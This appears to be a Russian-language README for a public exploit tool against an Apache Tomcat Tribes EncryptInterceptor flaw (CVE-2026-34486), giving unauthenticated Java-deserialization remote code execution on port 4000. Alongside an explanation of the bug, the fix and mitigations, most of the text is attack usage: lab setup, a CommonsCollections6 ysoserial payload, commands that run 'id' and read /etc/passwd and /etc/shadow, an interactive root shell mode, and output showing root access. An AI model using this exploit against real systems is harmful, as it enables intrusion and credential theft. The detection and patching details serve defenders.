
Эксплойт для обхода Apache Tomcat EncryptInterceptor, приводящий к неаутентифицированному RCE через Java-десериализацию на порту 4000. Включает настройку лабораторной среды, интерактивную оболочку и рекомендации по обнаружению.
Apache Tomcat Модуль связи кластера Tribes не отбрасывает сообщения, когда расшифровка
EncryptInterceptorзавершается неудачей, что позволяет неаутентифицированным злоумышленникам вызвать удалённое выполнение кода через десериализацию Java на порту 4000.
| Поле | Информация |
|---|---|
| CVE ID | CVE-2026-34486 |
| CVSS Score | 7.5 (High) |
| Компонент | Apache Tomcat Tribes EncryptInterceptor |
| Затронутые версии | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| Исправленные версии | 9.0.117 / 10.1.54 / 11.0.21 |
| Тип уязвимости | Неаутентифицированное удалённое выполнение кода через десериализацию |
| Вектор атаки | Сеть / Без аутентификации / Низкая сложность |
| Порт атаки | TCP 4000 (Tribes NioReceiver) |
Функция кластеризации Apache Tomcat использует фреймворк Tribes для синхронизации данных сессий между узлами кластера, прослушивая по умолчанию TCP-порт 4000.
Когда включён EncryptInterceptor (AES/CBC), существует следующий логический дефект:
// EncryptInterceptor.java — уязвимая версия
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// обработка расшифрованного сообщения...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // только логирует ошибку
}
super.messageReceived(msg); // ← ОШИБКА: необработанные байты передаются дальше даже после сбоя расшифровки
}
Блок catch только логирует ошибку. Поскольку super.messageReceived(msg) находится вне try-catch, необработанные незашифрованные байты передаются в XByteBuffer.deserialize() → ObjectInputStream.readObject().
Злоумышленник может отправить специально сформированную полезную нагрузку десериализации, чтобы вызвать RCE без какой-либо аутентификации.
Attacker ──TCP:4000──► NioReceiver (без аутентификации)
│
EncryptInterceptor.messageReceived()
try { AES/CBC расшифровка → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← только запись в лог
super.messageReceived(msg) ← ОШИБКА: необработанные байты проходят дальше
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← запускается десериализация
│
CommonsCollections6 Gadget Chain
│
Runtime.exec() → RCE от имени root 🔴
Исправление перемещает super.messageReceived(msg) внутрь блока try, поэтому любой сбой расшифровки приводит к молчаливому отбрасыванию сообщения (fail-closed).
// EncryptInterceptor.java — исправленная версия
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// обработка...
super.messageReceived(msg); // ← ИСПРАВЛЕНО: достигается только при успешной расшифровке
} catch (Exception e) {
log.error("Failed to decrypt message", e); // сообщение отбрасывается
}
}
java и javac в PATH)ysoserial-all.jarapache-tomcat-9.0.116 (для библиотеки Tribes)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# Проверка
curl http://localhost:8080
# эксплойт
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (для библиотеки Tribes)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# Проверка
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Вывод: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target IP-адрес цели (по умолчанию: 127.0.0.1)
-p, --port Порт Tribes (по умолчанию: 4000)
--http-port HTTP-порт для получения вывода (по умолчанию: 8080)
-c, --command Выполнить команду напрямую (без функций оболочки)
--rce Выполнить команду и получить вывод через HTTP
--shell Интерактивный режим оболочки
-g, --gadget Цепочка гаджетов (по умолчанию: CommonsCollections6)
--ysoserial Путь к jar-файлу ysoserial
--tomcat-lib Путь к каталогу lib Tomcat
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE
Цель : 127.0.0.1:4000
Гаджет : CommonsCollections6
[*] Компиляция TribesClient.java ...
[+] Успешно скомпилировано
[*] Генерация полезной нагрузки CommonsCollections6 ...
[+] Полезная нагрузка: 1361 байт
[*] Отправка кадра Tribes → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] Кадр отправлен!
[*] Получение результата: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
Единственная запись в логе, оставленная атакой:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
Исключение readObject не логируется — команда выполняется молча.
| Действие | Приоритет |
|---|---|
| Обновление до Tomcat 9.0.117 / 10.1.54 / 11.0.21 | Критический |
| Ограничение порта 4000 только доверенными IP-адресами кластера | Высокий |
Мониторинг логов на повторяющиеся Failed to decrypt message | Средний |
| Отключение кластеризации Tribes, если она не нужна | Высокий |
Данный проект предназначен только для авторизованных исследований безопасности, тестирования на проникновение и образовательных целей. Не используйте этот инструмент против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным инструментом.
MIT License © 2026 404-src